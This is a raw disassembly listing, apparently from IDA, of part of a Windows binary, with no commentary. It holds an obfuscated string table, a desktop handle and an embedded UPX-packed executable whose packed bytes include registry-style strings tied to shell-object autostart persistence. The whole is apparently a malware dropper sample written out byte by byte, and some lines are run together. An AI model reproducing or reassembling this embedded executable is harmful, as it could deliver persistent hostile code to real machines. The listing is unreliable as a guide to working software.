dd 3C3F3D2Fh
db 0
byte_4421C9 db 47h, 80h, 53h ; DATA XREF: sub_403A5F+88o
db 36h, 6Ch, 0
dword_4421CF dd 203868h byte_4421D3 db 6Dh ; DATA XREF: sub_403A5F+DDo
dd 367E4074h
db 0
byte_4421D9 db 77h, 2Dh, 67h ; DATA XREF: sub_403A5F+FCo
db 7Ah, 0
word_4421DE dw 8121h ; DATA XREF: sub_403BE7+17o
dd 23717664h
db 0
word_4421E5 dw 80h ; DATA XREF: sub_403BE7+125r
byte_4421E7 db 44h ; DATA XREF: sub_403BE7+14Co
dd 6C8164h
dword_4421EC dd 817430h dword_4421F0 dd 64312F20h db 59h, 0
dword_4421F6 dd 39324Ah align 4
dd 7, 0Ah
dword_442204 dd 0 ; sub_403FD8:loc_404007r ...
word_442208 dw 58h ; DATA XREF: sub_40406B+15r
word_44220A dw 5260h ; DATA XREF: sub_40406B+95o
dd 51714D23h
db 0
byte_442211 db 7Fh, 2Fh, 69h ; DATA XREF: sub_40406B+CBo
dd 733B26h
byte_442218 db 3Dh, 36h, 0 ; DATA XREF: sub_40406B+19Fo
byte_44221B db 2Dh ; DATA XREF: sub_40406B+1DFo
dd 3939203Bh
db 61h, 0
dword_442222 dd 505866h align 4
dd 6, 0Eh
dword_442230 dd 0 ; .text:loc_404372r ...
; HDESK hDesktop
hDesktop dd 0 ; DATA XREF: sub_4043CA+19r
; sub_4043CA+49r ...
dword_442238 dd 817Ch, 4, 0Ahdword_442244 dd 0 ; sub_404491:loc_4044BFr ...
byte_442248 db 0 ; DATA XREF: sub_404529+2Bo
byte_442249 db 0 ; DATA XREF: sub_404529+1EDo
word_44224A dw 204Bh ; DATA XREF: sub_40481B+31o
dd 4D826943h
db 20h, 0
aByqv db 'BYQV',0 ; DATA XREF: sub_40481B+F1o
a4lk db '&*4LK',0 ; DATA XREF: sub_40481B+158o
dword_44225D dd 726254h dword_442261 dd 2B542Ch byte_442265 db 52h, 72h, 53h ; DATA XREF: sub_40481B+32Eo
dd 517F60h
dword_44226C dd 7226203Ah, 55606Dh, 6dword_442278 dd 0Ch ; sub_40506F+79r
dword_44227C dd 0 ; sub_404E2A:loc_404E60r ...
dword_442280 dd 354B5Eh dword_442284 dd 252C366Fh db 38h, 0
word_44228A dw 7F70h ; DATA XREF: sub_40506F+Co
db 0
byte_44228D db 60h, 47h, 20h ; DATA XREF: sub_40506F+24o
db 6Bh, 0
word_442292 dw 203Eh ; DATA XREF: sub_40506F+B7o
dd 6860h, 7
dword_44229C dd 11h ; sub_4054C8+149r ...
dword_4422A0 dd 0 ; sub_405138:loc_40515Fr ...
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_4061F7+46o
dword_4422A8 dd 2B70443Eh, 422782hdword_4422B0 dd 786D5F42h, 26776Bhword_4422B8 dw 4Dh ; DATA XREF: sub_4054C8+5Br
word_4422BA dw 6351h ; DATA XREF: sub_4054C8+FBo
dd 27586466h
db 0
byte_4422C1 db 4Eh, 59h, 0 ; DATA XREF: sub_4054C8+10Eo
dword_4422C4 dd 7F3A3Fh byte_4422C8 db 67h, 4Eh, 0 ; DATA XREF: sub_4054C8+1B0o
dword_4422CB dd 615920h a70cg db '70cg',0 ; DATA XREF: sub_4054C8+277o
byte_4422D4 db 0 ; DATA XREF: sub_4054C8+3B7o
word_4422D5 dw 45h ; DATA XREF: sub_4054C8+3DAr
byte_4422D7 db 49h ; DATA XREF: sub_4054C8+54Ao
dd 60547F6Fh
db 74h, 0
word_4422DE dw 3927h ; DATA XREF: sub_4054C8+588o
dd 20364D6Ah
db 4Eh, 0
word_4422E6 dw 3E83h ; DATA XREF: sub_4054C8+71Bo
db 0
byte_4422E9 db 30h, 20h, 2Ch ; DATA XREF: sub_4054C8+7FFo
db 61h, 0
word_4422EE dw 79h ; DATA XREF: sub_4054C8+83Br
byte_4422F0 db 20h, 31h, 0 ; DATA XREF: sub_4054C8+8CDo
byte_4422F3 db 62h ; DATA XREF: sub_405E88+1Ao
db 38h, 0
word_4422F6 dw 602Ch ; DATA XREF: sub_405E88+2Do
dd 59303A7Ah
db 0
byte_4422FD db 4Eh, 77h, 20h ; DATA XREF: sub_405E88+A7o
db 2 dup(20h), 0
byte_442303 db 20h ; DATA XREF: sub_405E88+154o
dd 2B7961h
word_442308 dw 68h ; DATA XREF: sub_405E88:loc_4060A2r
dword_44230A dd 784973h word_44230E dw 512Ah ; DATA XREF: sub_405E88+2F9o
dd 204080h
dword_442314 dd 4A206925h db 0
dword_442319 dd 646942h byte_44231D db 53h, 3Fh, 58h ; DATA XREF: sub_4061F7+39o
db 56h, 0
word_442322 dw 2F44h ; DATA XREF: sub_4061F7+121o
dd 592766h
byte_442328 db 36h, 6Ch, 0 ; DATA XREF: sub_4061F7+141o
byte_44232B db 7Fh ; DATA XREF: sub_4061F7+16Co
dd 526E2A20h
db 0
dword_442331 dd 372A7Ch byte_442335 db 3Eh, 82h, 0 ; DATA XREF: sub_4061F7+207o
dword_442338 dd 246F6E45h db 23h, 58h, 0
byte_44233F db 32h ; DATA XREF: sub_4061F7+278o
dd 2D773133h
db 0
byte_442345 db 72h, 32h, 23h ; DATA XREF: sub_4061F7+296o
dd 4025654Fh
db 0
dword_44234D dd 714B37h dword_442351 dd 533320h byte_442355 db 60h, 43h, 75h ; DATA XREF: sub_4061F7+447o
db 52h, 48h, 0
byte_44235B db 63h ; DATA XREF: sub_4061F7+49Bo
dd 20h, 4
dword_442364 dd 0Dh dword_442368 dd 0 ; sub_406815:loc_40684Br ...
dword_44236C dd 0 ; sub_406A40+34r ...
dword_442370 dd 0 ; sub_406911+17r ...
dword_442374 dd 0FFFFh ; sub_406A40+137r ...
dword_442378 dd 52772D20h, 4F6960hdword_442380 dd 496E20h dword_442384 dd 3E425363h db 73h, 0
dword_44238A dd 657451h word_44238E dw 4124h ; DATA XREF: sub_406A40+85o
dd 4C494F7Fh
db 6Ch, 0
word_442396 dw 5F30h ; DATA XREF: sub_406A40+DBo
dd 507F66h
dword_44239C dd 4A2F7F41h, 4Fhdword_4423A4 dd 8 ; sub_406D2E+F14r ...
dword_4423A8 dd 12h dword_4423AC dd 0 ; sub_406CA2:loc_406CCFr ...
; DWORD ThreadId
ThreadId dd 1 ; DATA XREF: StartAddress+7Cr
; sub_407F07+23o
byte_4423B4 db 0 ; DATA XREF: sub_406D2E+FD9r
align 2
word_4423B6 dw 816Fh ; DATA XREF: sub_406D2E+19Bo
db 57h, 38h, 0
dword_4423BB dd 6D3520h byte_4423BF db 51h ; DATA XREF: sub_406D2E+1FDo
dd 5A836E55h
db 0
byte_4423C5 db 4Bh, 78h, 41h ; DATA XREF: sub_406D2E+282o
dd 4C2F2B66h
db 0
dword_4423CD dd 24614Dh dword_4423D1 dd 2C5E40h a4yk3 db '4Yk3',0 ; DATA XREF: sub_406D2E+3D2o
aB db '~',0 ; DATA XREF: sub_406D2E+492o
aZrsh db 'ZRSH',0 ; DATA XREF: sub_406D2E+4ADo
aTxnve db 'TxN‚e',0 ; DATA XREF: sub_406D2E+51Fo
word_4423E8 dw 72h ; DATA XREF: sub_406D2E+535r
word_4423EA dw 386Bh ; DATA XREF: sub_406D2E+548o
dd 6F448230h
db 0
byte_4423F1 db 38h, 56h, 53h ; DATA XREF: sub_406D2E+5CCo
db 5Eh, 26h, 0
dword_4423F7 dd 277C80h word_4423FB dw 38h ; DATA XREF: sub_406D2E+A31r
byte_4423FD db 6Ch, 62h, 6Eh ; DATA XREF: sub_406D2E+A44o
db 3Fh, 81h, 0
byte_442403 db 0 ; DATA XREF: sub_406D2E+AA4o
byte_442404 db 68h, 3Ch, 0 ; DATA XREF: sub_406D2E+B8Fo
byte_442407 db 0 ; DATA XREF: sub_406D2E+C1Fo
dword_442408 dd 2D2079h byte_44240C db 0 ; DATA XREF: sub_406D2E+CF6o
a1o8qz db '1o8QZ',0 ; DATA XREF: sub_406D2E+D1Ao
aKbX0 db 'k*x0',0 ; DATA XREF: sub_406D2E+DBBo
word_442419 dw 20h ; DATA XREF: sub_406D2E+E00r
byte_44241B db 4Ah ; DATA XREF: sub_406D2E+E5Bo
dd 204D6A76h
db 0
dword_442421 dd 3B4B20h byte_442425 db 27h, 47h, 35h ; DATA XREF: sub_406D2E+1001o
db 61h, 48h, 0
byte_44242B db 0 ; DATA XREF: sub_406D2E+10B4o
dword_44242C dd 0FFFFFFFFh, 407ED9h, 407EE4hdword_442438 dd 0 dd 8
dword_442440 dd 12h dword_442444 dd 0 ; sub_407FBC:loc_407FE9r ...
dword_442448 dd 6B20517Eh db 79h, 0
word_44244E dw 5A4Dh ; DATA XREF: sub_40844F+84o
db 90h
align 2
dw 3
dd 40000h, 0FFFF0000h, 0B80000h, 0
dd 400000h, 8 dup(0)
dd 0C80000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h
dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
dd 240A0Dh, 13h dup(0)
dd 45500000h, 14C0000h, 88F20003h, 41CAh, 0
dd 0E00000h, 10B010Fh, 40000006h, 10000000h, 50000000h
dd 98200000h, 60000000h, 0A0000000h, 0
dd 10000040h, 2000000h, 40000h, 0
dd 40000h, 0
dd 0B0000000h, 10000000h, 0
dd 20000h, 0
dd 10000010h, 0
dd 10000010h, 0
dd 100000h, 2 dup(0)
dd 0A0000000h, 0D80000h, 1Ch dup(0)
dd 50550000h, 3058h, 50000000h, 10000000h, 0
dd 4000000h, 3 dup(0)
dd 800000h, 5055E000h, 3158h, 40000000h, 60000000h, 3A000000h
dd 4000000h, 3 dup(0)
dd 400000h, 5055E000h, 3258h, 10000000h, 0A0000000h, 2000000h
dd 3E000000h, 3 dup(0)
dd 400000h, 0C000h, 42h dup(0)
db 0Ah
align 2
aInfoThisFileIs db '$Info: This file is packed with the UPX executable packer http://'
db 'upx.tsx.org $',0Ah,0
aIdUpx1_07Copyr db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re'
db 'served. $',0Ah,0
dw 5055h
dd 90C2158h, 0A530902h, 0A837A262h, 72695F94h, 381F0000h
dd 70000000h, 4260000h, 7EE93800h, 4D009208h, 300905Ah
dd 3200043Bh, 0FFFFB2C8h, 0F97F40B8h, 4C8377Fh, 0EBA1F0Eh
dd 0CD09B400h, 4C01B821h, 73696854h, 0FDBF7020h, 6F72FFFFh
dd 6D617267h, 6E616320h, 20746F6Eh, 72206562h, 69206E75h
dd 534F4402h, 50ED6D20h, 646FFF60h, 0D0D2E65h, 50C7240Ah
dd 0DBED1345h, 14CFF21h, 888A0002h, 9DE041CAh, 6010B21h
dd 7EE90F08h, 0E022B3h, 10E018A4h, 0F9257325h, 20B6366h
dd 604501Eh, 0C96E676h, 710341Eh, 0F65E5920h, 29E0A006h
dd 0B2017578h, 17C6FDDh, 4D3864D8h, 37903F76h, 7865742Eh
dd 20A22B74h, 96CB6FFBh, 41A00EBh, 65722EE0h, 0CC636F6Ch
dd 677BECA6h, 2623FB9Eh, 107942A2h, 3703D95h, 2CDB3034h
dd 1226669Bh, 46E22FFAh, 9A691B30h, 0B423BAEh, 5E14032Ch
dd 0CD34D36Eh, 562C4AB2h, 4D867062h, 9C4D34D3h, 0E2D4C2AEh
dd 59AE9AF2h, 182D0836h, 463C0728h, 69A69A69h, 786C6254h
dd 9A69B28Eh, 0C6B49EA6h, 4D2F02E2h, 0F4CDB9D3h, 3972E0Ah
dd 344C3C24h, 5C34D34Dh, 9A8A7C6Ah, 0D34D34DBh, 0E6CEC0AAh
dd 59BF2EF2h, 243BA776h, 0F4031087h, 69A6E42Bh, 0CAD4A69Ah
dd 0BAACB6C0h, 0A29A6D60h, 0D72B9098h, 7B66B27Fh, 9603E9B6h
dd 78132F8Ah, 0FF880330h, 66D217FFh, 4F538130h, 41575446h
dd 4D5C4552h, 6F726369h, 0E5666F73h, 74FFFFFFh, 6E69575Ch
dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
dd 0FB7F6853h, 536CDB6Fh, 6528760Ch, 656A624Fh, 10447463h
dd 6F4C7961h, 0AD6E6461h, 39477015h, 6739082Bh, 0A5FF3F4Dh
dd 0DB6C2006h, 72617041h, 6E656D74h, 0FA6E495Ch, 53035EDFh
dd 33023B63h, 4C430032h, 5C444953h, 0E77ED923h, 257B00BBh
dd 2D583830h, 0FA5D3404h, 7D0361DBh, 0FCEC8323h, 0F0E89090h
dd 0DEF75706h, 60BAFBBh, 78453759h, 7C737469h, 6046DE82h
dd 62694CFBh, 3B797172h, 656E686Bh, 0BF6ED76Ch, 5FB5DF67h
dd 57791B54h, 7DF60FD5h, 0B565DBFBh, 50677562h, 6CC76972h
dd 23656765h, 7850305Ch, 642E1ED7h, 50580F2Bh, 6F114F4Ch
dd 33D5B737h, 21727270h, 2B6261C5h, 6F667364h, 62360DECh
dd 732E126Fh, 35CBB79h, 0B835A0DDh, 5C214964h, 64723A5Dh
dd 8FB10B7Fh, 5F74511Ah, 5CEC1F33h, 65704F5Fh, 0FE57B218h
dd 4478566Eh, 706E6148h, 0B5AC006Eh, 2D4D37FFh, 4B59542Dh
dd 46475157h, 0E0A4A48h, 0F9ED6113h, 4245411Fh, 48534159h
dd 5B25464Ch, 7B096702h, 32020EFh, 30231205h, 0B0EF7BEEh
dd 0B3A0F32h, 1E331504h, 7FFC8360h, 4A455767h, 4A464B57h
dd 0AB414557h, 0FE9A13BBh, 5349444Eh, 1A034452h, 0A200FF97h
dd 0CBCB901Fh, 1FA60B6Eh, 91218D0Fh, 0A4BCB921h, 31232319h
dd 6D253525h, 0D97FD3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 57740150h
push 24h
dec ch
imul ch
adc eax, 8D1E112Ch
inc ebp
lock push eax
or [eax], ebp
movzx eax, word ptr [ebp-6]
push eax
mov esi, ds:74F3CF20h
iret
; ---------------------------------------------------------------------------
db 0Ah, 0FCh, 50h
; ---------------------------------------------------------------------------
loc_442B80: ; CODE XREF: .text:00442B8Ej
add al, 0FEh
clc
div ah
db 66h
wait
sti
not dword ptr [eax-73h]
test [eax+5Bh], edi
jnz short loc_442B80
push 0D63826C0h
adc ch, cl
db 36h
mov ebx, 0FEB017ECh
push 0C4F14B4h
push 0FFFFFFB7h
sbb eax, 9904FB7Fh
pop ecx
idiv ecx
pop edi
fadd qword ptr [ebx+505205C2h]
sub cl, [esi+edx*8]
pop ebp
xor al, 10h
int 3 ; Trap to Debugger
mov ebp, 0C4832F73h
cmp ds:0B0685027h, dl
sub [ecx+7776DB3Bh], eax
pop ebx
; ---------------------------------------------------------------------------
dd 80A0BF8Fh, 12285750h, 5214220Fh, 647736Eh, 373015A4h
dd 7D330876h, 1766E6B0h, 6A2C310Bh, 0D8986809h, 0C9ECE761h
dd 28458830h, 66FDDB9Fh, 7909372Fh, 68234068h, 77866E02h
dd 606C986Eh, 0C95E5F12h, 0AEF22C3h, 18E11BEFh, 0A91D8B53h
dd 0FF336726h, 0EFFC7D89h, 0FFFCFF0Ah, 10C083D3h, 312C8950h
dd 0F08BDC1Ch, 0FF73B59h, 0EFDB2384h, 6A4937BAh, 3AE4680Ah
dd 21D1756h, 468D056Ah, 0DFB7F00Fh, 0F817B16h, 0D3B41859h
dd 0F467640h, 730FED6Ch, 570C1509h, 24122068h, 3FFB1475h
dd 0C73BDED9h, 18090E75h, 0EB026A04h, 0F84D8D23h, 1337F351h
dd 111CB3DBh, 5E2A2BF8h, 0C2105021h, 823B6EEDh, 5803FA08h
dd 840A13E9h, 0DD77FB62h, 300068F7h, 4C2E5783h, 3BD88B1Fh
dd 687D74DFh, 3AD95C14h, 10481BB7h, 0B70A0468h, 60440EF4h
dd 6ABFBB6Fh, 58F88BF6h, 2B58F868h, 3F45AC3h, 0C28D16F8h
dd 89F1F4BFh, 0CB2BC87Eh, 4689C103h, 7E22210Bh, 0E10DB86Eh
dd 23B05356h, 33E81040h, 0EC6FEEF6h, 0F43C2DFh, 56535056h
dd 8C3C1656h, 770974C6h, 9B8D17EEh, 0C710EB38h, 7EB0431h
dd 0ECDF3508h, 1A250699h, 7D8B0711h, 6A1611Bh, 51615B60h
dd 0F605746h, 66DF8E31h, 61FC96BBh, 0AF0F5424h, 0EB4A31Ch
dd 75FFFFDEh, 0B907A121h, 35247621h, 7BFBC069h, 0C82B7F7Ch
dd 0C2126851h, 2BD998EDh, 0D0F71D58h, 2D2474BFh, 0C7DCF6FBh
dd 155CC701h, 500CA756h, 6BCC033h, 0CA1DD33h, 0A1609A6Bh
dd 1A3B6C5Dh, 0D956D913h, 641A206Ah, 9D8DB438h, 0A2F0DE08h
dd 0B73816ECh, 3019D866h, 0F8C3522Eh, 0DA1B6B02h, 0E10C7DBh
dd 106A1301h, 0E9B3D537h, 14FCAD99h, 284BC610h, 0CD73A702h
dd 0FDD8780Dh, 7C514104h, 7A799D23h, 13E01511h, 59B5E078h
dd 44CF1F92h, 0DB541112h, 0ED372E9h, 83F08B74h, 3902F74h
dd 5B64D9E8h, 0A0567832h, 9D351270h, 6C572119h, 1F5E681Bh
dd 8986EF8Dh, 0DB33537Dh, 64405357h, 6FBDEE90h, 5B83E70Bh
dd 0BE566C74h, 0BF6AA218h, 538C6667h, 890F087Fh, 575015B5h
dd 3FD2D3ECh, 74C0858Ah, 67849F36h, 0E19939D6h, 74766CE6h
dd 84202613h, 71E3EB15h, 5B359BE1h, 895BFC14h, 0FC6157D9h
dd 5E3FB067h, 5B5FC38Bh, 5D8B048Dh, 53575608h, 0FDBEB7FEh
dd 3D66590Eh, 3F76C88Bh, 3C80D144h, 0D745C1Ah, 0FF6DC181h
dd 151FAF6Fh, 0EBEC77C9h, 3B664101h, 1B2373C8h, 0BE17FFC9h
dd 6DF002B4h, 1778F12Bh, 8148DC5h, 1A148A47h, 61059488h
dd 6D7B6376h, 7E6DC718h, 0C62F7AEBh, 90A618B7h, 245C644Ch
dd 0AF9D560Ch, 57FFDDB7h, 10247C8Bh, 197EDB85h, 2EAB0A6Eh
dd 7D1A6AC0h, 0FFFEE678h, 8861C280h, 3B463E14h, 80E77CF3h
dd 32001F24h, 2C02109Fh, 8FFFF8ECh, 84D8B0Ch, 0D895648h
dd 777550BCh, 237BF0C6h, 0A151930Bh, 536FF898h, 0B0B64F84h
dd 0FC1BDA0Bh, 2404C711h, 7B01C75Ch, 59D676F6h, 2E7559D7h
dd 13546815h, 0B37ECBF0h, 93B4E1Ah, 4080B27h, 0E1610CEBh
dd 68F1BDAFh, 0A929193Ch, 505959E0h, 95F7C358h, 0CC27027h
dd 1703189Bh, 0B3637289h, 6801FB3Dh, 0D1261294h, 3DA88F59h
dd 85BD95B7h, 1FE934Fh, 0BF5D940Eh, 64C9C9ADh, 7B575D9Ch
dd 7C9DF8F0h, 30BB6D93h, 9F6880A5h, 0B44EB1E1h, 0C0A359CDh
dd 0ACA43F00h, 315F5F7Bh, 12353C7Ch, 960C7024h, 4505B36Eh
dd 0E564BFA0h, 5A786657h, 6DB755A0h, 9B9C2613h, 5FDB93Dh
dd 0E8E6EBEBh, 34680CFCh, 6CC7580Ah, 7B167716h, 2733756Ah
dd 5F17E15Dh, 0E804F7E3h, 0E69FD8CDh, 0A2F18B76h, 0C79CFC18h
dd 41135006h, 0E3998C65h, 196A1A1Dh, 0B60514C0h, 26108D66h
dd 1F20B710h, 57816E74h, 257126Dh, 6F09B0C3h, 0D7611EB5h
dd 0B7518C8h, 2DC05935h, 147E89FFh, 57571CEBh, 0AC470957h
dd 3EB799BEh, 99741446h, 16012046h, 5FC68B1Ch, 0C6D77F68h
dd 6283568Dh, 44F6420Fh, 20010824h, 11DB66D8h, 1D5920D6h
dd 3DA21B5Eh, 0FB59BB6Fh, 9D5C8BEAh, 74037468h, 0DB768BD7h
dd 14ED95A3h, 5609F685h, 752A6146h, 0B7F6FB7Fh, 0F03BDF1Ch
dd 718D0375h, 8318515Bh, 392527FAh, 6752045h, 0FDB035B2h
dd 5104C183h, 20D003EBh, 14021847h, 0D674B3F5h, 4552AF10h
dd 1CC25DB4h, 0D8055EB6h, 7AC4B870h, 0E510E41Ah, 4FF42BEh
dd 20C46818h, 896A9A7Ah, 0CED8C847h, 86A00E4h, 0D8C8CC18h
dd 0C4202BD8h, 4C351016h, 0D03211D9h, 0B08D18D4h, 0B2C1A05h
dd 0D81B6914h, 8E7C1D19h, 0A04514h, 565E5308h, 12CC170Ah
dd 4D61605Eh, 660BB8FCh, 940AC604h, 83ABC040h, 0DDEDC0B3h
dd 21170BDh, 0EA8B0575h, 12CB3CEBh, 0C187CD06h, 6810AFBCh
dd 1A8A53A4h, 36276FCh, 3931EB76h, 0BA5D0C7Dh, 191E05D2h
dd 2EB17D0h, 5BB81EE0h, 30F6DD6Bh, 8D00575Fh, 0DC91AE71h
dd 344AC57Eh, 0E942189h, 6DAE08C2h, 0BF98F138h, 78570880h
dd 12DB098Eh, 85E8BEFh, 2F0C331h, 74C3FDF4h, 7449205Ch
dd 0C7C82C14h, 0A2659BA1h, 7AC4660Dh, 5C68DD4Ah, 4D6D46E2h
dd 510CEFE8h, 63FFBA4Fh, 0FC26F135h, 0C01BD8F7h, 5FC2456h
dd 9B5071E4h, 6FC5D483h, 0E59518A8h, 0B36AC503h, 0FFB191B7h
dd 753BC445h, 93C0940Fh, 1F068FB6h, 4A3EF9D9h, 0B18BCC26h
dd 4D17DE35h, 6895910h, 0CFA69106h, 0B986F977h, 8A040883h
dd 1010E04h, 5D270C46h, 106D78FBh, 7AD518E7h, 534244C7h
dd 76398D9Dh, 0F66AD943h, 57465945h, 0B2436206h, 3D06CB3Eh
dd 2B6DF6AAh, 0B54CB46Ch, 89630CC9h, 4B565F01h, 5DDC6214h
dd 418B4C5Bh, 0B455A420h, 314CDED6h, 3F6856E1h, 5D00A4CFh
dd 88661647h, 5741415h, 336CEB67h, 0A6278CDCh, 1DA9AAh
dd 9C1B6332h, 0F5E6803h, 2F6DB804h, 66602061h, 573B60Fh
dd 0BB648AFBh, 9897785Eh, 1261C10Bh, 52135868h, 0FBC228D0h
dd 0A1642E21h, 25896408h, 0C7CEA307h, 0D22CDDC6h, 0A5E86589h
dd 27240C29h, 7BD757F4h, 30BBBB0h, 0F86850C3h, 0B76CC0Ah
dd 4014E4B4h, 0E12E0F40h, 0B916D170h, 0AF3861E0h, 0A9522B34h
dd 6BFBF192h, 9B6990B3h, 94DC1AFAh, 85930D9Bh, 4390A153h
dd 5B4F9493h, 16F8B6EBh, 42392FE4h, 45F7DB08h, 0DA2DC0BFh
dd 7C5B3BC8h, 201E7C80h, 44C60573h, 6FE25A6Dh, 0EB402E06h
dd 1F76FFE9h, 0E0757546h, 86E1BC3h, 0E00381AEh, 0B9616480h
dd 3105BAB1h, 4D450CCh, 0A6DDA60Ch, 1D5FA246h, 50DA1E08h
dd 0CF3CD804h, 0D4D63CF3h, 9ED2CECCh, 46D979E7h, 746B60Ah
dd 6A040506h, 18F9EF9Eh, 2040308h, 53B60601h, 6A716023h
dd 58859215h, 0E8130340h, 98C95790h, 0BF723EC4h, 0C49A8598h
dd 50AE2350h, 6B6F683Fh, 21D00ADCh, 59504208h, 623E3786h
dd 0C483D911h, 0D20EEBFFh, 0C2BE1696h, 0C758BC3h, 0F185598Bh
dd 37D3D907h, 0CF1CBEFAh, 0E07D83h, 160EE070h, 96841A46h
dd 0B4F072CCh, 8A70F20Dh, 0D8FBCE71h, 0C9F0F468h, 0C8833811h
dd 0CDF6ABFFh, 9FA17C2Ch, 3B0C55C0h, 0D7992D6h, 0B42E9EA5h
dd 1DE677FCh, 7AF286E4h, 0BB4BFFFFh, 0CE8B135Eh, 0CA3BDCA6h
dd 48A2973h, 0C0458839h, 972303Ch, 1D73393Ch, 7D778F4Dh
dd 0D6AC0F8h, 74B84B0Ah, 8BE4797Fh, 6EBD8F1h, 0FD0EB41h
dd 28850F39h, 0BD1FEDBCh, 3BF64A8Dh, 5C1548F1h, 0DFFFFD73h
dd 8D0088D1h, 0C13B144Eh, 0C23B2A7Dh, 0C8A2673h, 0BC4D8838h
dd 9A2DF980h, 0A53B6B1h
dd 0C9595404h, 37DBDB77h, 253075DBh, 65830409h, 391000D4h
dd 0AFA0D44Dh, 76DED966h, 3B568DBFh, 8A1F75C2h, 0D8E8B838h
dd 80C9A78h, 43A41905h, 0D8CC36C1h, 0D4ADF8D6h, 5181802Eh
dd 3C62D0F6h, 8D0B0211h, 77770CD0h, 8D020FD8h, 1B503E04h
dd 3E440E02h, 639E0F02h, 46D0498Ch, 5C1180D3h, 8D00AD8h
dd 83C40B12h, 37B704C8h, 5C24AEEh, 0C40A7F32h, 4057C01h
dd 895D7E0Ch, 0A1A06237h, 6E31043Eh, 5AD40506h, 7530E6ECh
dd 74310607h, 30032C18h, 97AD1B0Bh, 6846D709h, 6D4A10D8h
dd 921418BBh, 0EA76E00Ah, 30A10B84h, 0C3C3C588h, 0E4239098h
dd 9CDB5878h, 0C5691967h, 5DB3D35Dh, 3C80FDB0h, 662E9EBFh
dd 2F4F048Bh, 7E10F2A0h, 0D7C35B9h, 0E33A097Fh, 0C33BC475h
dd 5321C972h, 61505BCBh, 2E5335BBh, 470C572Ah, 7EC59C62h
dd 7CB2BF08h, 75EB590Eh, 75CB3BC9h, 2CB0D332h, 5D5D974Ch
dd 0B34DEFC6h, 753DBF74h, 98479124h, 0B1640C10h, 9DCB3043h
dd 0C26F3394h, 0CBBBC3E9h, 0BE4C5306h, 1966900Bh, 4CACC84h
dd 5FF2C477h, 770465C2h, 0C483DA04h, 6A535330h, 0DF074C0Ah
dd 0FF0CACD6h, 20AB5325h, 0CE46497Ah, 27CCB815h, 0D91BD9AFh
dd 1EA8E4AAh, 9037D90Ch, 0A48D91h, 0F3A3A8A8h, 66F1A36Fh
dd 857C83h, 300A0710h, 304B0875h, 310CEC3Ch, 9E0F75BEh
dd 11C847FFh, 885216C8h, 394AE60h, 6EB7FA26h, 5CFD4B46h
dd 6212ECEBh, 57C33DC8h, 0C58B7D68h, 6177E80h, 0CE6D423Ah
dd 196D866Dh, 0F51A1CA5h, 29C11E05h, 936CD263h, 24D00C22h
dd 0D6FABE8h, 2B365EFEh, 9B3003F3h, 56EED1B8h, 6DAFC116h
dd 0C60E16F0h, 140A0DFFh, 0B472B54Ah, 6F202A2Ah, 50B33709h
dd 903722A8h, 11740BF0h, 28D1BF6Eh, 2B990F39h, 0EF8D1C2h
dd 56B1027Eh, 0F923EB63h, 0AB2C0D33h, 0D1CB7615h, 0F9D10F6Fh
dd 5F70818Dh, 66057E27h, 0E9A17FB7h, 0AC16EBACh, 3B0279FEh
dd 4173B87Dh, 2D2BB8F8h, 0EC1342F6h, 1F04AD90h, 2D726750h
dd 3DBC4B6h, 0D19015F7h, 55C7D8E8h, 0F336DB19h, 165543A3h
dd 6F470B0Eh, 1EDF647Dh, 3BF07FFFh, 8D067CF7h, 0BAEB017Eh
dd 0A4C7814Fh, 0FE3BA6E2h, 0FC1E0473h, 0F78BD5B6h, 0FC5F4EACh
dd 0AC752B00h, 90A17622h, 24A30Ch, 0A6040789h, 0A4FB5CD9h
dd 0F5044789h, 0C80807F9h, 528512B4h, 98A7A9CBh, 1A3721C0h
dd 1047322Bh, 0BA10B110h, 0C7448E95h, 0D527A1A5h, 4582AA32h
dd 186E401Dh, 3C609436h, 48689757h, 76192BB5h, 15B8A05Bh
dd 9E9C980Eh, 0E9518E0Ch, 0C73E9193h, 0E05DCE35h, 1E142A2Eh
dd 46110B74h, 5BF86A6Eh, 9A04850Bh, 0B88C8B5Ah, 0CA532084h
dd 5B1F77B9h, 0DC24D771h, 1AE85589h, 4BD3C8Dh, 69AD7E17h
dd 72B43C9h, 0A4028DA0h, 0D49F1B10h, 0F5608501h, 0FEBB0300h
dd 0E0358605h, 0F9B86857h, 85731345h, 0B80ECC30h, 893E4816h
dd 0EC18DB59h, 62853913h, 0A441AFA2h, 0ACEA01A3h, 72696BE0h
dd 0FF646F7Fh, 4E5D0734h, 12C540BBh, 0CD9B82A0h, 97314A95h
dd 50271068h, 39CE84ECh, 0CDE98C4h, 0EE721183h, 7A3D8BA5h
dd 0A0B912FEh, 52C5A8DBh, 0AC017CC0h, 0DBFB7B1Bh, 18397517h
dd 0B37EBE5h, 0D01C8DE0h, 0F65C6C51h, 110319B0h, 0F2001BEh
dd 0B1DBFD7Bh, 1B06282Bh, 151ABD6Fh, 0B5FFCC38h, 99F9A3C4h
dd 0CCD04DCDh, 8C0E1863h, 0B0DDDBBh, 84EB711Eh, 0D31B30CBh
dd 9D90D868h, 75B8B9ECh, 4B4F9969h, 13261098h, 80535306h
dd 404C244Fh, 6A91EB4Eh, 1304B764h, 87EB5F47h, 8C6439Ch
dd 0DB86C20h, 0ABBAE88Ch, 6A4263C7h, 0D72F5D34h, 0C6C70C11h
dd 6359F460h, 0B2C87DAFh, 0B8500460h, 91223F0h, 8C1911ECh
dd 0EEC86154h, 8359C80Bh, 4D8351C7h, 60C07CC8h, 5778EBF1h
dd 45F1C28h, 5AF08EC6h, 0AC0B1B6Bh, 4C330E8Bh, 9899DAB7h
dd 213976D0h, 51A6C8B5h, 24CFB833h, 0A2893E89h, 4420FCBBh
dd 527DB884h, 84AF6425h, 477E97D6h, 0C208C683h, 5ECF72F0h
dd 0CC0400A7h, 5F78D81Dh, 0D574C4C7h, 0AE075328h, 0D1350CBFh
dd 280F474Ch, 666A9F11h, 138B67E8h, 25FF2C11h, 91054808h
dd 4C8C8E7h, 0F410F800h, 919AC16Ch, 0CCECF0h, 0EC27E819h
dd 0DCE08C8Ch, 0F33D5100h, 767D1BF6h, 7208F58Dh, 87E98114h
